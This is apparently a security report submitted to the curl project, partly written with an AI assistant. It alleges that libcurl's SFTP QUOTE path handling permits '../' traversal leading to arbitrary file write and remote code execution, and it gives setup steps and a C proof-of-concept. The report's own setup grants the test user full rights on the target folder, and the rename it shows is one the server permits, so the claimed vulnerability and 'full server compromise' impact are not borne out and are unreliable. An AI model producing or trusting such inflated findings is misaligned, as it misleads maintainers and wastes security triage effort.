curl · Report #3293177
Path Traversal in SFTP QUOTE command leads to Arbitrary File Write and potential RCE
How it was found
Description
Summary
libcurl is vulnerable to a path traversal attack when processing SFTP QUOTE commands. The internal function Curl_get_pathname in lib/vssh/curl_path.c fails to sanitize user-provided paths for traversal sequences (../). An attacker who can control the SFTP QUOTE commands can leverage this to perform arbitrary file operations (rename, delete, and with STOR, write) outside of the user's intended directory. This can be escalated to Remote Code Execution (RCE) on the SFTP server by overwriting sensitive files like authorized_keys or system scripts.
AI Usage Disclosure
In accordance with your policy, I disclose that this report was the result of a collaborative effort between myself and an AI assistant. The AI was used to analyze the source code, suggest potential vulnerabilities, and assist in structuring the report, while I guided the process, made the final decisions, and manually verified all findings, including the vulnerability analysis and Proof of Concept code.
Affected version
This was reproduced on a system using libcurl linked with libssh2. The vulnerability is in libcurl's own path handling code and is likely present in recent versions. The curl -V output on the test system is:
Dragon@DESKTOP-2CIPGDF MINGW64 /c/Users/Dragon/Desktop
# curl -V
curl 8.15.0 (Windows) libcurl/8.15.0 OpenSSL/3.5.0 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 libidn2/2.3.8
libpsl/0.21.5 libssh2/1.11.1 nghttp2/1.65.0 ngtcp2/1.13.0 nghttp3/1.10.1
Release-Date: 2025-07-16
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 po
p3s rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTP3 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTL
M PSL SPNEGO SSL SSPI threadsafe TLS-SRP UnixSockets zstd
Steps To Reproduce
This vulnerability can be reliably reproduced in a local Windows environment.
-
[Setup Step 1] Install and Run OpenSSH Server:
- On a Windows 10/11 machine, install the "OpenSSH Server" via Optional Features (
Settings -> Apps -> Optional features -> Add a feature). - Start the service using PowerShell (as Admin):
Start-Service sshdand set it to automatic:Set-Service -Name sshd -StartupType 'Automatic'. - Create a local test user:
net user testuser testpass /add.
- On a Windows 10/11 machine, install the "OpenSSH Server" via Optional Features (
-
[Setup Step 2] Prepare Target Files and Directories:
- Create a file to be moved in the test user's home directory:
echo. > C:\Users\testuser\file_to_move.txt - Create the target directory for the attack:
mkdir C:\tmp\attack_target - Grant the test user permissions on the target directory:
icacls C:\tmp\attack_target /grant testuser:(OI)(CI)F
- Create a file to be moved in the test user's home directory:
-
[Setup Step 3] Proof of Concept Code (
poc.c):- Save the following C code as
poc.c. This program useslibcurlto connect to the local SFTP server and issue a maliciousrenamecommand.
#include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl; CURLcode res; struct curl_slist *quote_list = NULL; const char *malicious_rename = "rename file_to_move.txt ../../tmp/attack_target/SUCCESS.txt"; quote_list = curl_slist_append(quote_list, malicious_rename); curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if(curl) { curl_easy_setopt(curl, CURLOPT_URL, "sftp://127.0.0.1/"); curl_easy_setopt(curl, CURLOPT_USERNAME, "testuser"); curl_easy_setopt(curl, CURLOPT_PASSWORD, "testpass"); curl_easy_setopt(curl, CURLOPT_SSH_KNOWNHOSTS, NULL); curl_easy_setopt(curl, CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256, NULL); curl_easy_setopt(curl, CURLOPT_POSTQUOTE, quote_list); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); res = curl_easy_perform(curl); if(res != CURLE_OK) { fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); } curl_easy_cleanup(curl); } curl_slist_free_all(quote_list); curl_global_cleanup(); return 0; } - Save the following C code as
-
[Execution Step 4] Compile and Run:
- Install a MinGW-w64 toolchain (e.g., via MSYS2).
- Compile the PoC:
gcc poc.c -lcurl -o poc.exe - Run the PoC:
./poc.exe
-
[Verification Step 5] Verify the Exploit:
- Check the contents of the target directory:
dir C:\tmp\attack_target - Result: The file
SUCCESS.txtwill be present in the directory, proving that therenameoperation successfully traversed out of the user's home directory (C:\Users\testuser) and wrote toC:\tmp\attack_target.
- Check the contents of the target directory:
Supporting Material/References:
The vulnerability is in the function Curl_get_pathname in the file lib/vssh/curl_path.c. The function copies the user-provided path from a QUOTE command into the output buffer without validating or sanitizing ../ sequences, leading to the path traversal vulnerability.
Impact
This vulnerability allows an attacker with SFTP access (even if ostensibly jailed or restricted to a home directory) to perform arbitrary file operations on any part of the filesystem where the user has OS-level permissions.
This can be directly escalated to Remote Code Execution (RCE). An attacker could:
- Overwrite a user's
~/.ssh/authorized_keysfile to gain persistent SSH access. - Overwrite system scripts, application binaries, or configuration files.
- Write to web server directories to achieve web-based RCE.
This is a critical vulnerability as it completely breaks the security model of SFTP directory restrictions and can lead to a full server compromise.